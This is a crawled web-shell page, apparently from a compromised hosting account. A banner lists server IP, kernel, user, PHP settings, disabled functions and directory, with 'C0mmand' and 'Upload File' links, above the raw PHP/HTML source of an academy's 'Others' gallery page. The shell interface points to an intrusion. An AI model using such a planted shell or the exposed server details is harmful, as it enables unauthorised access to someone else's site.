|
Server IP : 2a02:4780:11:767:0:2c41:85d9:6 / Your IP : 216.73.217.108 Web Server : LiteSpeed System : Linux in-mum-web667.main-hosting.eu 5.14.0-570.62.1.el9_6.x86_64 #1 SMP PREEMPT_DYNAMIC Tue Nov 11 10:10:59 EST 2025 x86_64 User : u742491609 ( 742491609) PHP Version : 8.1.34 Disable Function : system, exec, shell_exec, passthru, mysql_list_dbs, ini_alter, dl, symlink, link, chgrp, leak, popen, apache_child_terminate, virtual, mb_send_mail MySQL : OFF | cURL : ON | WGET : ON | Perl : OFF | Python : OFF Directory (0755) : /home/u742491609/domains/apca.org.in/public_html/admin/inaugration/../../ |
| [ Home ] | [ C0mmand ] | [ Upload File ] |
|---|
<!DOCTYPE html>
<html class="no-js" lang="en">
<head>
<meta charset="utf-8">
<meta http-equiv="x-ua-compatible" content="ie=edge">
<title>Convocation</title>
<meta name="robots" content="noindex, follow" />
<meta name="description" content="">
<meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no">
<!-- Favicon -->
<link rel="shortcut icon" type="image/x-icon" href="assets/images/favicon.png">
<!-- CSS (Font, Vendor, Icon, Plugins & Style CSS files) -->
<!-- Font CSS -->
<link rel="preconnect" href="https://fonts.googleapis.com/">
<link rel="preconnect" href="https://fonts.gstatic.com/" crossorigin>
<link href="https://fonts.googleapis.com/css2?family=Roboto+Condensed:ital,wght@0,300;0,400;0,700;1,400;1,700&display=swap" rel="stylesheet">
<link href="https://fonts.googleapis.com/css2?family=Poppins:ital,wght@0,300;0,400;0,500;0,600;0,700;0,800;0,900;1,400;1,500;1,600&display=swap" rel="stylesheet">
<!-- Vendor CSS (Bootstrap & Icon Font) -->
<link rel="stylesheet" href="assets/css/vendor/bootstrap.min.css">
<link rel="stylesheet" href="assets/css/vendor/font-awesome.min.css">
<link rel="stylesheet" href="assets/css/vendor/dlicon.css">
<!-- Plugins CSS (All Plugins Files) -->
<link rel="stylesheet" href="assets/css/plugins/swiper-bundle.min.css">
<link rel="stylesheet" href="assets/css/plugins/animate.css">
<link rel="stylesheet" href="assets/css/plugins/aos.css">
<link rel="stylesheet" href="assets/css/plugins/odometer-theme-default.min.css">
<link rel="stylesheet" href="assets/css/plugins/ddbeforeandafter.css">
<link rel="stylesheet" href="assets/css/plugins/magnific-popup.css">
<!-- Style CSS -->
<link rel="stylesheet" href="assets/css/style.css">
<style>
.breadcrumb-area::before {
position: absolute;
content: "";
left: 0;
top: 0;
width: 100%;
height: 100%;
/*background-color: #000000;*/
opacity: 0!important;
}
.bg-img {
/*height:90%!important;*/
background-position: left!important;
background-size: cover;
}
@media only screen and (max-width: 767px) {
.breadcrumb-padding {
padding: 175px 0 92px;
}
}
.breadcrumb-content {
position: relative;
margin-top: 16%!important;
}
body {
font-family: Arial, sans-serif;
}
.gallery-container {
max-width: 1000px;
margin: auto;
padding: 20px;
}
.gallery-title {
text-align: left;
color: #008cba;
font-size: 24px;
font-weight: bold;
}
.gallery-subtitle {
font-size: 16px;
color: #666;
}
.gallery-images {
display: flex;
flex-wrap: wrap;
gap: 10px;
}
.gallery-images img {
width: calc(25% - 10px); /* Adjusts width for 4 images per row */
height: auto;
border-radius: 5px;
}
@media (max-width: 768px) {
.gallery-images img {
width: calc(50% - 10px); /* 2 images per row on smaller screens */
}
}
@media (max-width: 480px) {
.gallery-images img {
width: 100%; /* 1 image per row on mobile */
}
}
</style>
</head>
<?php include 'header.php'; ?>
<!-- breadcrumb area -->
<div class="breadcrumb-area breadcrumb-padding bg-img" style="background-image:url(assets/images/bg/banner.webp)">
<div class="container">
<div class="breadcrumb-content text-center">
<h2><span style="color: #fffff;background-color:#0E70AF; ">COURSES AND PROGRAM</span></h2>
<ul>
<!--<li><a href="index.html">Gallery</a></li>-->
<!--<li><i class="fa fa-angle-right"></i></li>-->
<li><span style="color: #fffff;background-color:#0E70AF; ">OTHERS</span></li>
</ul>
</div>
</div>
</div>
<!-- Project area -->
<div class="container mt-5">
<!--<h1>Gallery</h1>-->
<div class="gallery-container">
<h1 class="gallery-title">OTHERS</h1>
<div style="border:1px solid grey; padding: 15px;">
<p class="gallery-subtitle">Outdoor Activity</p><hr>
<div class="gallery-images" >
<img src="assets/images/others/o1.jpg" alt="Independence Day Celebration 1">
<img src="assets/images/others/o2.jpg" alt="Independence Day Celebration 2">
<img src="assets/images/others/o3.jpg" alt="Independence Day Celebration 3">
</div>
</div>
<br>
<!--<div style="border:1px solid grey; padding: 15px;">-->
<!--<p class="gallery-subtitle">Inaugural Function of 32nd Batch Nine Months Basic Training Course for Prison Officers on Dated 16th July 2024 - Chief Guest - Dr. Maheshwar Dayal, IPS, Director General of Prisons and Correctional Services, Tamilnadu.</p><hr>-->
<!--<div class="gallery-images" >-->
<!-- <img src="assets/images/inaugration/i1.jpg" alt="Independence Day Celebration 1">-->
<!-- <img src="assets/images/inaugration/i2.jpg" alt="Independence Day Celebration 2">-->
<!-- <img src="assets/images/inaugration/i7.jpg" alt="Independence Day Celebration 1">-->
<!-- <img src="assets/images/inaugration/i11.jpg" alt="Independence Day Celebration 2">-->
<!-- <img src="assets/images/inaugration/i8.jpg" alt="Independence Day Celebration 2">-->
<!-- <img src="assets/images/inaugration/i5.jpg" alt="Independence Day Celebration 2">-->
<!-- <img src="assets/images/inaugration/i9.jpg" alt="Independence Day Celebration 3">-->
<!-- <img src="assets/images/inaugration/i3.jpg" alt="Independence Day Celebration 3">-->
<!-- <img src="assets/images/inaugration/i10.jpg" alt="Independence Day Celebration 1">-->
<!-- <img src="assets/images/inaugration/i6.jpg" alt="Independence Day Celebration 3">-->
<!-- <img src="assets/images/inaugration/i4.jpg" alt="Independence Day Celebration 1">-->
<!--</div>-->
<!--</div>-->
</div>
</div>
<!-- Footer area -->
<?php include 'footer.php'; ?>
<!-- JS Vendor, Plugins & Activation Script Files -->
<!-- Vendors JS -->
<script src="assets/js/vendor/modernizr-3.11.7.min.js"></script>
<script src="assets/js/vendor/jquery-3.6.0.min.js"></script>
<script src="assets/js/vendor/jquery-migrate-3.3.2.min.js"></script>
<script src="assets/js/vendor/bootstrap.bundle.min.js"></script>
<!-- Plugins JS -->
<script src="assets/js/plugins/swiper-bundle.min.js"></script>
<script src="assets/js/plugins/hoverparallax.min.js"></script>
<script src="assets/js/plugins/scrollup.js"></script>
<script src="assets/js/plugins/odometer.min.js"></script>
<script src="assets/js/plugins/ddbeforeandafter.js"></script>
<script src="assets/js/plugins/magnific-popup.js"></script>
<script src="assets/js/plugins/imagesloaded.js"></script>
<script src="assets/js/plugins/isotope.js"></script>
<script src="assets/js/plugins/aos.js"></script>
<script src="assets/js/plugins/sticky-sidebar.js"></script>
<script src="assets/js/plugins/ajax-mail.js"></script>
<!-- Activation JS -->
<script src="assets/js/main.js"></script>
</body>
</html>